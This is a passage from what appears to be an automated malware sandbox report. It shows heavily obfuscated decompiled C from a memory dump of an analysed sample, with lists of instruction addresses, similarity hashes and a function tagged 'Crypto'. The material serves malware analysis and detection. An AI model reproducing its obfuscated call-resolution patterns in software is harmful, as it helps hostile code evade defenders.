				_t594 = _t593 - 0xfffffffc;
				if(_t398 > 0) {
					if(_a12 != 0) {
						_t402 = _t398;
						 *_t301 = _t483 & 0x00000000 | _t398 ^  *_t594 ^ _a12;
						_v12 = _v12 + _t402;
						_push(_v12);
						_pop(_t486);
						_t570 = _t566;
						 *_t594 =  *_t594 ^ _t486;
						_t487 = _t437;
						_t488 = _t487 & _a8;
						 *_t306 = _t570;
						_v8 = _v8 + _t488;
						_push(_v8);
						_pop(_t566);
						_t437 = _t437;
						 *_t594 =  *_t594 & 0x00000000;
						 *_t594 =  *_t594 + _t566;
						 *_t594 =  *_t594 ^ _t579;
						 *_t594 =  *_t594 ^ _t488;
						 *_t594 = _t402;
						_t398 = E00E931B3(_t437, _t525, _t546, _t566, _v16, _t579, _t488);
					}
					_push(_t437);
					return _t398 ^ _t398;
				} else {
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 | _t398;
					_t263 = _t437 + 0x41cfc3; // 0x41cfc3
					_v16 = _v16 & 0x00000000;
					 *_t594 =  *_t594 ^ _t263;
					_t267 = _t437 + 0x41c769; // 0x41c769
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 ^ _t267;
					_t405 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t483);
					_v16 = _t483;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) & 0x00000000;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) ^ (_t483 & 0x00000000 | _t405);
					 *_t275 = _t525;
					_t596 = _t594 - 0xfffffffc;
					 *_t596 =  *_t596 - _t437;
					 *_t596 =  *_t596 | _v16;
					_t277 = _t437 + 0x41cd95; // 0x41cd95
					 *_t596 =  *_t596 ^ _t525;
					 *_t596 = _t277;
					_t408 =  *((intOrPtr*)(_t437 + 0x41f060))(_t525, _t437);
					 *_t596 =  *_t596 & 0x00000000;
					 *_t596 =  *_t596 + _t408;
					_t279 = _t437 + 0x41cbf8; // 0x41cbf8
					 *_t596 = _t279;
					_t410 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v16);
					_pop( *_t282);
					 *_t596 = _t437;
					_t442 = _t410;
					_t444 = 0;
					_push(_t546);
					if((0 + _v12 & 0x00000000 ^ (_t546 ^  *_t596 |  *(_t444 + 0x41c691))) > _t442 + 0 + _v12) {
						_t285 = _t444 + 0x41cd95; // 0x41cd95
						 *_t596 = _t285;
						_t287 = _t444 + 0x41cbf8; // 0x41cbf8
						_v12 = _v12 & 0x00000000;
						 *_t596 =  *_t596 | _t287;
						_t416 =  *((intOrPtr*)(_t444 + 0x41f064))(_v12, _v16);
						_v8 = _t525;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) & 0x00000000;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) | _t525 ^ _v8 | _t416;
					}
					return  *_t596;
				}
			}

0x00e931b3
0x00e931b3
0x00e931b3
0x00e931b9
0x00e931bf
0x00e931c2
0x00e931c5
0x00e931cb
0x00e931cc
0x00e931cf
0x00e931d2
0x00e931d8
0x00e931df
0x00e931e2
0x00e931e5
0x00e931ed
0x00e931f0
0x00e931f5
0x00e931f9
0x00e931fc
0x00e931fe
0x00e931ff
0x00e9320e
0x00e93210
0x00e93215
0x00e93217
0x00e9321d
0x00e93224
0x00e93227
0x00e9322a
0x00e93230
0x00e93231
0x00e93234
0x00e93237
0x00e93237
0x00e9323d
0x00e93245
0x00e9324c
0x00e93252
0x00e93255
0x00e9325c
0x00e93260
0x00e93263
0x00e93269
0x00e93270
0x00e93273
0x00e9327a
0x00e9327e
0x00e93281
0x00e93288
0x00e9328c
0x00e9328f
0x00e93295
0x00e9329d
0x00e932a1
0x00e932a6
0x00e932a9
0x00e932b4
0x00e932b6
0x00e932b9
0x00e932bb
0x00e932c2
0x00e932c5
0x00e932c8
0x00e932ce
0x00e932d8
0x00e932db
0x00e932e1
0x00e932e8
0x00e932ee
0x00e932ee
0x00e932f6
0x00e932fa
0x00e932fd
0x00e93300
0x00e93307
0x00e9330b
0x00e9330e
0x00e93315
0x00e93319
0x00e9331c
0x00e93323
0x00e93326
0x00e93329
0x00e93335
0x00e93338
0x00e9333f
0x00e93342
0x00e93345
0x00e93348
0x00e93349
0x00e9334a
0x00e93359
0x00e9335b
0x00e93360
0x00e93362
0x00e93369
0x00e9336d
0x00e93370
0x00e93377
0x00e9337a
0x00e9337d
0x00e9337d
0x00e93384
0x00e93387
0x00e9338a
0x00e93390
0x00e93396
0x00e9339d
0x00e933a0
0x00e933a7
0x00e933aa
0x00e933ad
0x00e933b6
0x00e933b9
0x00e933c2
0x00e933c5
0x00e933d4
0x00e933db
0x00e933de
0x00e933e1
0x00e933e4
0x00e933e5
0x00e933e6
0x00e933f1
0x00e933f3
0x00e933f8
0x00e933fa
0x00e93400
0x00e93407
0x00e9340a
0x00e93410
0x00e93417
0x00e9341a
0x00e93420
0x00e93427
0x00e9342d
0x00e9342d
0x00e93432
0x00e93439
0x00e9343c
0x00e9343f
0x00e93445
0x00e9344f
0x00e93452
0x00e93458
0x00e93462
0x00e93465
0x00e9346b
0x00e93473
0x00e9347a
0x00e93483
0x00e93489
0x00e93490
0x00e93493
0x00e9349a
0x00e9349e
0x00e934a1
0x00e934a7
0x00e934ae
0x00e934b1
0x00e934b8
0x00e934bc
0x00e934bf
0x00e934ce
0x00e934d5
0x00e934d8
0x00e934db
0x00e934de
0x00e934df
0x00e934e2
0x00e934ed
0x00e934ef
0x00e934f2
0x00e934f4
0x00e934fb
0x00e934ff
0x00e93502
0x00e93509
0x00e9350d
0x00e93510
0x00e9351c
0x00e93523
0x00e93529
0x00e93529
0x00e9352f
0x00e93535
0x00e93538
0x00e9353f
0x00e93542
0x00e93545
0x00e9354b
0x00e93555
0x00e93558
0x00e9355e
0x00e93565
0x00e93568
0x00e93574
0x00e93577
0x00e9357a
0x00e93581
0x00e93582
0x00e93585
0x00e93595
0x00e93598
0x00e9359a
0x00e935a0
0x00e935a7
0x00e935aa
0x00e935b1
0x00e935b5
0x00e935b8
0x00e935b8
0x00e935be
0x00e935c5
0x00e935cb
0x00e935ce
0x00e935d5
0x00e935d9
0x00e935dc
0x00e935e2
0x00e935ec
0x00e935ef
0x00e935f5
0x00e935fd
0x00e93604
0x00e93616
0x00e93619
0x00e9361c
0x00e93622
0x00e93628
0x00e9362b
0x00e93631
0x00e93638
0x00e9363b
0x00e93641
0x00e93648
0x00e93657
0x00e9365a
0x00e93663
0x00e9366b
0x00e9366e
0x00e9366f
0x00e93674
0x00e93675
0x00e9367f
0x00e93682
0x00e9368b
0x00e9368e
0x00e93695
0x00e93698
0x00e9369b
0x00e936a1
0x00e936a9
0x00e936b0
0x00e936b6
0x00e936bb
0x00e936be
0x00e936c1
0x00e936d5
0x00e936df
0x00e936e5
0x00e936e8
0x00e936f1
0x00e936f4
0x00e936fa
0x00e93701
0x00e93704
0x00e9370a
0x00e93714
0x00e93717
0x00e93722
0x00e93727
0x00e9372b
0x00e93730
0x00e93731
0x00e9373e
0x00e93743
0x00e93745
0x00e9374c
0x00e93750
0x00e93753
0x00e93759
0x00e93760
0x00e93763
0x00e9376b
0x00e93772
0x00e93778
0x00e93778
0x00e9377b
0x00e9377e
0x00e93783
0x00e93786
0x00e9378b
0x00e9378d
0x00e93793
0x00e9379a
0x00e9379d
0x00e937a3
0x00e937ad
0x00e937b0
0x00e937b0
0x00e937b8
0x00e937bf
0x00e937c5
0x00e937c6
0x00e937cd
0x00e937d0
0x00e937d7
0x00e937da
0x00e937dd
0x00e937e3
0x00e937ed
0x00e937f0
0x00e937f6
0x00e937fe
0x00e93805
0x00e9380b
0x00e9381a
0x00e9381b
0x00e93825
0x00e93828
0x00e9382e
0x00e93835
0x00e93838
0x00e9383e
0x00e93845
0x00e9384b
0x00e93853
0x00e93858
0x00e9385b
0x00e9385e
0x00e93864
0x00e9386e
0x00e93871
0x00e93878
0x00e9387b
0x00e9387e
0x00e93884
0x00e9388c
0x00e93893
0x00e93899
0x00e938a2
0x00e938a5
0x00e938ab
0x00e939ad
0x00e939bb
0x00e939c0
0x00e939c3
0x00e939c6
0x00e939c9
0x00e939ca
0x00e939cc
0x00e939cf
0x00e939d0
0x00e939d7
0x00e939da
0x00e939dd
0x00e939e0
0x00e939e1
0x00e939e3
0x00e939e7
0x00e939eb
0x00e939ee
0x00e939f4
0x00e939f7
0x00e939f7
0x00e939fc
0x00e93a11
0x00e938b1
0x00e938b2
0x00e938b6
0x00e938b9
0x00e938bf
0x00e938c6
0x00e938c9
0x00e938d0
0x00e938d4
0x00e938d7
0x00e938dd
0x00e938e5
0x00e938ec
0x00e938f5
0x00e93904
0x00e93908
0x00e9390b
0x00e9390e
0x00e93915
0x00e93918
0x00e9391b
0x00e93922
0x00e93926
0x00e93929
0x00e93932
0x00e93935
0x00e9393d
0x00e93945
0x00e93949
0x00e9394e
0x00e9394f
0x00e93961
0x00e93963
0x00e9396c
0x00e9396f
0x00e93975
0x00e9397c
0x00e9397f
0x00e93985
0x00e9398d
0x00e93994
0x00e9399a
0x00e939a6
0x00e939a6

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction ID: ea3fa48d419443ac0bd218c37703fecca470c1eeb756b572674e7563e57b9bc3
Opcode Fuzzy Hash: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction Fuzzy Hash: E2521572944608EFEB04DFA4C88A7ADBBF1FF08310F1585AED885EA145D7345664CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00E93FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00E93FAB(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t346;
				signed int _t351;
				signed int _t352;
				signed int _t355;
				void* _t359;
				void* _t361;
				signed int _t362;
				signed int _t367;
				void* _t369;
				void* _t370;
				signed int _t374;
				signed int _t377;
				signed int _t380;
				signed int _t385;
				void* _t387;
				void* _t389;
				intOrPtr _t390;
				void _t393;
				signed int _t397;
				intOrPtr _t403;
				signed int _t408;
				signed int _t410;
				signed int _t415;
				signed int _t418;
				void* _t420;
				signed int _t421;
				void* _t424;
				signed int _t429;
				signed int _t430;
				signed int _t433;
				void* _t437;
				void* _t439;
				signed int _t440;
				signed int _t443;
				intOrPtr _t445;
				signed int _t451;
				signed int _t454;
				signed int _t457;
				signed int _t459;
				signed int _t471;
				signed int _t473;
				signed int _t475;
				signed int _t478;
				void* _t481;
				signed int _t488;
				signed int _t489;
				signed int _t498;
				signed int _t500;
				signed int _t502;
				signed int _t504;
				signed int _t510;
				signed int _t513;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t520;
				signed int _t525;
				signed int _t528;
				signed int _t530;
				signed int _t532;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				signed int _t544;
				signed int _t548;
				signed int _t553;
				signed int _t559;
				signed int _t562;
				signed int _t565;
				void* _t570;
				void* _t577;
				signed int _t579;
				signed int _t582;
				signed int _t585;
				signed int _t590;
				void* _t591;
				signed int _t595;
				signed int _t598;
				signed int _t601;
				signed int _t604;
				signed int* _t608;
				signed int* _t609;
				signed int* _t610;
				signed int* _t611;
				signed int* _t612;
				signed int* _t613;
				signed int* _t614;
				signed int* _t615;
				signed int* _t616;
				signed int* _t617;
				signed int* _t621;
				signed int* _t622;
				signed int* _t623;

				_t585 = __esi;
				_t454 = __ebx;
				 *(_t598 - 0x1c) =  *(_t598 - 0x1c) & 0x00000000;
				_push( *(_t598 - 0x1c));
				 *_t608 =  *_t608 + __ebx + 0x41c4c0;
				_push( *((intOrPtr*)(__ebx + 0x41f060))());
				_pop( *_t6);
				_push( *(_t598 - 0x20));
				_pop( *_t8);
				_push(__ebx);
				 *_t608 =  *_t608 & 0x00000000;
				 *_t608 =  *_t608 | __ebx + 0x0041cf44;
				_push( *(_t598 - 0x1c));
				 *_t608 = __ebx + 0x41d05b;
				_t346 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x1c) = __edi;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) & 0x00000000;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) ^ (__edi -  *(_t598 - 0x1c) | _t346);
				_t559 =  *(_t598 - 0x1c);
				_t609 = _t608 - 0xfffffffc;
				 *(_t598 - 0x1c) = 0;
				_push( *(_t598 - 0x1c));
				 *_t609 =  *_t609 |  *_t608;
				_push( *(_t598 - 0x1c));
				 *_t609 = __ebx + 0x41c0d0;
				 *(_t598 - 0x20) =  *(_t598 - 0x20) & 0x00000000;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 | __ebx + 0x0041c99a;
				_t351 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x20) = __ecx;
				 *(__ebx + 0x41c6ff) = 0 ^ _t351;
				_t352 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push( *(_t598 - 0x1c));
				 *_t609 = _t352;
				_push(__edx);
				 *_t609 =  *_t609 ^ __edx;
				 *_t609 =  *_t609 ^ __ebx + 0x0041d1ce;
				 *(_t598 - 0x20) = 0;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 ^ __ebx + 0x0041c36e;
				_t355 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x24) = __edx;
				 *(__ebx + 0x41c65d) = 0 ^ _t355;
				_t510 =  *(_t598 - 0x24);
				_t610 = _t609 - 0xfffffffc;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) & 0x00000000;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) | _t510 -  *_t610 ^ (_t355 & 0x00000000) +  *_t609;
				_t513 = _t510;
				_push(_t513);
				 *_t610 =  *_t610 & 0x00000000;
				 *_t610 =  *_t610 ^ __ebx + 0x0041c369;
				_t359 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 + _t359;
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 ^ __ebx + 0x0041c4d6;
				_t361 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t611 = _t610 - 0xfffffffc;
				 *_t611 =  *_t611 | _t513;
				_t514 = _t361;
				_t362 = _t514 + ( *(_t598 - 0x20) & 0x00000000 |  *_t610);
				_t516 = 0;
				 *_t611 = _t516;
				_t471 = 0 ^  *(__ebx + 0x41c434);
				_t519 = 0;
				if(_t471 > _t362) {
					_push(_t471);
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + __ebx + 0x41c369;
					 *(_t598 - 0x1c) = 0;
					_push( *(_t598 - 0x1c));
					 *_t611 =  *_t611 ^ __ebx + 0x0041c4d6;
					_t362 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) & 0x00000000;
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) ^ _t598 ^  *_t611 ^ _t362;
				_t601 = _t598;
				if( *((intOrPtr*)(_t601 - 0x10)) != 2) {
					if( *((intOrPtr*)(_t601 - 0x10)) == 4) {
						_t156 = _t454 + 0x41d1be; // 0x41d1be
						 *_t611 = _t156;
						_t158 = _t454 + 0x41c0a8; // 0x41c0a8
						 *_t611 =  *_t611 & 0x00000000;
						 *_t611 =  *_t611 ^ _t158;
						_push( *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24)));
						_pop( *_t160);
						_push( *(_t601 - 0x20));
						_pop( *_t162);
						 *((intOrPtr*)(_t601 - 8)) = 1;
						_t164 = _t454 + 0x41c6f8; // 0x41c6f8
						 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
						 *_t611 =  *_t611 ^ _t164;
						_t408 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20));
						 *(_t601 - 0x20) = _t519;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) & 0x00000000;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) | _t519 ^  *(_t601 - 0x20) | _t408;
						_t548 =  *(_t601 - 0x20);
						 *((intOrPtr*)(_t601 - 0xc)) = 0x55;
						_t177 = _t454 + 0x41c356; // 0x41c356
						 *(_t601 - 0x1c) =  *(_t601 - 0x1c) & 0x00000000;
						 *_t611 =  *_t611 | _t177;
						_t410 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
						 *(_t601 - 0x24) = _t559;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) & 0x00000000;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) | _t559 & 0x00000000 ^ _t410;
						_t559 =  *(_t601 - 0x24);
						 *((intOrPtr*)(_t601 - 0x18)) = 2;
						_t189 = _t454 + 0x41cc3e; // 0x41cc3e
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 ^ _t189;
						_t193 = _t454 + 0x41cf5b; // 0x41cf5b
						 *_t611 =  *_t611 ^ _t585;
						 *_t611 = _t193;
						_t362 =  *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24));
						 *(_t601 - 0x20) = _t548;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) & 0x00000000;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) | _t548 & 0x00000000 | _t362;
						_t519 =  *(_t601 - 0x20);
					}
				} else {
					_t65 = _t454 + 0x41cb7a; // 0x41cb7a
					 *(_t601 - 0x1c) = 0;
					 *_t611 =  *_t611 + _t65;
					_t68 = _t454 + 0x41c8ec; // 0x41c8ec
					 *(_t601 - 0x24) = 0;
					 *_t611 =  *_t611 ^ _t68;
					_t415 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x24),  *(_t601 - 0x1c));
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) & 0x00000000;
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) ^ (_t585 & 0x00000000 | _t415);
					_t595 = _t585;
					_t76 = _t454 + 0x41c379; // 0x41c379
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 + _t76;
					_t80 = _t454 + 0x41c532; // 0x41c532
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 | _t80;
					_t418 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x20));
					 *_t611 = _t418;
					_t86 = _t454 + 0x41d201; // 0x41d201
					 *_t611 = _t86;
					_t420 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x24));
					_t498 = _t471 & 0x00000000 |  *_t611;
					_t621 =  &(_t611[1]);
					 *_t621 =  *_t621 + _t559;
					_t577 = _t420;
					_t421 = _t577 + _t498;
					_t579 = 0;
					_t500 = _t498 & 0x00000000 ^ (_t421 ^  *_t621 |  *(_t454 + 0x41cc21));
					_t424 = _t421;
					if(_t500 > _t424) {
						_t90 = _t454 + 0x41c532; // 0x41c532
						 *_t621 =  *_t621 & 0x00000000;
						 *_t621 =  *_t621 | _t90;
						_t91 = _t454 + 0x41d201; // 0x41d201
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t621 =  *_t621 | _t91;
						_t451 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x24), _t519);
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) & 0x00000000;
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) | _t601 -  *_t621 ^ _t451;
						_t601 = _t601;
					}
					_t622 = _t621 - 0xfffffffc;
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 |  *_t621;
					_t100 = _t454 + 0x41d01d; // 0x41d01d
					 *_t622 =  *_t622 ^ _t579;
					 *_t622 =  *_t622 | _t100;
					_t101 = _t454 + 0x41c37d; // 0x41c37d
					 *_t622 = _t101;
					_t429 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x1c), _t579, _t519);
					 *(_t601 - 0x20) = _t579;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) & 0x00000000;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) | _t579 & 0x00000000 | _t429;
					_t582 =  *(_t601 - 0x20);
					_t430 =  *((intOrPtr*)(_t454 + 0x41f060))();
					 *_t622 =  *_t622 ^ _t595;
					 *_t622 =  *_t622 | _t430;
					_t111 = _t454 + 0x41c8c2; // 0x41c8c2
					 *_t622 =  *_t622 - _t454;
					 *_t622 =  *_t622 + _t111;
					_t112 = _t454 + 0x41c737; // 0x41c737
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 ^ _t112;
					_t433 =  *((intOrPtr*)(_t454 + 0x41f068))(_t582, _t454, _t595);
					 *_t114 = _t433;
					_push( *(_t601 - 0x20));
					_pop( *_t116);
					_t623 = _t622 - 0xfffffffc;
					 *(_t601 - 0x20) = _t582;
					 *(_t454 + 0x41c606) = _t433 & 0x00000000 |  *_t622;
					_t559 =  *(_t601 - 0x20);
					 *((intOrPtr*)(_t601 - 8)) = 3;
					_t121 = _t454 + 0x41d2fe; // 0x41d2fe
					 *(_t601 - 0x1c) = 0;
					 *_t623 =  *_t623 | _t121;
					_t437 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
					 *_t623 =  *_t623 ^ _t559;
					 *_t623 =  *_t623 + _t437;
					_t125 = _t454 + 0x41d22a; // 0x41d22a
					 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
					 *_t623 =  *_t623 | _t125;
					_t439 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24), _t559);
					_t502 = _t500 & 0x00000000 |  *_t623;
					_t611 =  &(_t623[1]);
					 *(_t601 - 0x24) = _t519;
					_push(_t502 + _t439);
					_t553 =  *(_t601 - 0x24);
					_pop(_t440);
					 *(_t601 - 0x20) = _t440;
					_t504 = _t502 & 0x00000000 ^ (_t440 ^  *(_t601 - 0x20) |  *(_t454 + 0x41c48f));
					_t443 =  *(_t601 - 0x20);
					if(_t504 > _t443) {
						_t136 = _t454 + 0x41d2fe; // 0x41d2fe
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 + _t136;
						_t140 = _t454 + 0x41d22a; // 0x41d22a
						 *(_t601 - 0x20) = 0;
						 *_t611 =  *_t611 ^ _t140;
						_t443 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x20),  *(_t601 - 0x24));
					}
					 *_t611 = _t595;
					 *(_t454 + 0x41c2cf) = 0 ^ _t443;
					_t585 = 0;
					 *((intOrPtr*)(_t601 - 0xc)) = 0x11;
					_t146 = _t454 + 0x41d09f; // 0x41d09f
					 *_t611 =  *_t611 - _t559;
					 *_t611 =  *_t611 + _t146;
					_t445 =  *((intOrPtr*)(_t454 + 0x41f060))(_t559);
					 *(_t601 - 0x24) = _t504;
					 *((intOrPtr*)(_t454 + 0x41ce4e)) = _t445;
					_t471 =  *(_t601 - 0x24);
					 *((intOrPtr*)(_t601 - 0x18)) = 4;
					_t152 = _t454 + 0x41c4f7; // 0x41c4f7
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + _t152;
					_t362 =  *((intOrPtr*)(_t454 + 0x41f060))(_t471);
					 *_t611 = _t553;
					 *(_t454 + 0x41c895) = 0 ^ _t362;
					_t519 = 0;
				}
				_t520 = _t519 ^ _t519;
				 *_t611 =  *_t611 - _t559;
				 *_t611 = _t520;
				_t201 = _t454 + 0x41c61d; // 0x41c61d
				 *_t611 =  *_t611 ^ _t585;
				 *_t611 = _t201;
				_t367 =  *((intOrPtr*)(_t454 + 0x41f060))(_t585, _t559, _t362);
				 *_t611 = _t367;
				_t204 = _t454 + 0x41cf67; // 0x41cf67
				 *(_t601 - 0x24) = 0;
				 *_t611 =  *_t611 ^ _t204;
				_t369 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24),  *(_t601 - 0x1c));
				_pop( *_t208);
				_t473 = _t471 & 0x00000000 ^  *(_t601 - 0x24);
				 *(_t601 - 0x24) = _t559;
				_push(_t473 + _t369);
				_t562 =  *(_t601 - 0x24);
				_pop(_t370);
				_t475 = _t473 & 0x00000000 | _t601 & 0x00000000 ^  *(_t454 + 0x41c5dc);
				_t604 = _t601;
				if(_t475 > _t370) {
					_t213 = _t454 + 0x41c61d; // 0x41c61d
					 *(_t604 - 0x1c) = 0;
					 *_t611 =  *_t611 ^ _t213;
					_t216 = _t454 + 0x41cf67; // 0x41cf67
					 *(_t604 - 0x20) = 0;
					 *_t611 =  *_t611 | _t216;
					_t403 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t604 - 0x20),  *(_t604 - 0x1c));
					 *(_t604 - 0x1c) = _t475;
					 *((intOrPtr*)(_t454 + 0x41cf4f)) = _t403;
					_t475 =  *(_t604 - 0x1c);
				}
				_t612 =  &(_t611[1]);
				 *_t612 = _t475;
				_t478 = 0;
				 *_t612 = _t520 & 0x00000000 |  *_t611;
				_t225 = _t454 + 0x41cef6; // 0x41cef6
				 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
				 *_t612 =  *_t612 | _t225;
				_t229 = _t454 + 0x41ceb9; // 0x41ceb9
				 *_t612 =  *_t612 ^ _t604;
				 *_t612 =  *_t612 ^ _t229;
				_t374 =  *((intOrPtr*)(_t454 + 0x41f068))(_t604,  *(_t604 - 0x1c),  *(_t604 - 0x24));
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) & 0x00000000;
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) | _t478 ^  *_t612 | _t374;
				_t481 = _t478;
				_t613 = _t612 - 0xfffffffc;
				_t525 = _t374 %  *(_t604 - 0x18);
				 *_t613 =  *_t613 & 0x00000000;
				 *_t613 =  *_t613 | _t525;
				_t241 = _t454 + 0x41c52d; // 0x41c52d
				 *(_t604 - 0x24) = 0;
				 *_t613 =  *_t613 ^ _t241;
				_t377 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24), _t481);
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) & 0x00000000;
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) | _t525 & 0x00000000 | _t377;
				_t528 = _t525;
				_t530 = _t528 & 0x00000000 ^  *_t613;
				_t614 = _t613 - 0xfffffffc;
				 *((intOrPtr*)(_t604 - 4)) =  *((intOrPtr*)(_t604 - 4)) - _t530;
				 *(_t604 - 0x24) = 0;
				 *_t614 =  *_t614 | _t530;
				_t253 = _t454 + 0x41c7ee; // 0x41c7ee
				 *_t614 =  *_t614 ^ _t562;
				 *_t614 =  *_t614 ^ _t253;
				_t254 = _t454 + 0x41c513; // 0x41c513
				 *(_t604 - 0x20) = 0;
				 *_t614 =  *_t614 | _t254;
				_t380 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t604 - 0x20), _t562,  *(_t604 - 0x24), _t481);
				 *(_t604 - 0x20) = _t585;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) & 0x00000000;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) ^ _t585 & 0x00000000 ^ _t380;
				_t532 =  *_t614;
				_t615 =  &(_t614[1]);
				 *(_t604 - 0x1c) = _t380;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) & 0x00000000;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) | _t380 ^  *(_t604 - 0x1c) ^ _t532;
				_t271 = _t454 + 0x41ccc7; // 0x41ccc7
				 *(_t604 - 0x24) = 0;
				 *_t615 =  *_t615 | _t271;
				_t385 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24));
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) & 0x00000000;
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) | _t562 -  *_t615 | _t385;
				_t565 = _t562;
				_t590 =  *(_t604 - 0x20) & 0x00000000 ^ _t454 & 0x00000000 ^  *(_t604 + 8);
				_t457 = _t454;
				_t280 = _t457 + 0x41c550; // 0x41c550
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t280;
				_t387 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20));
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t387;
				_t286 = _t457 + 0x41d34c; // 0x41d34c
				 *_t615 = _t286;
				_t389 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20),  *(_t604 - 0x20));
				_t616 = _t615 - 0xfffffffc;
				 *_t289 = _t389;
				 *(_t604 - 0x24) =  *(_t604 - 0x24) + (0 ^  *_t615);
				_push( *(_t604 - 0x24));
				_pop(_t390);
				_t534 = _t532;
				 *(_t604 - 0x1c) = _t534;
				_t537 =  *(_t604 - 0x1c);
				if( *((intOrPtr*)(_t457 + 0x41ccf8)) > _t390) {
					_t296 = _t457 + 0x41c550; // 0x41c550
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t296;
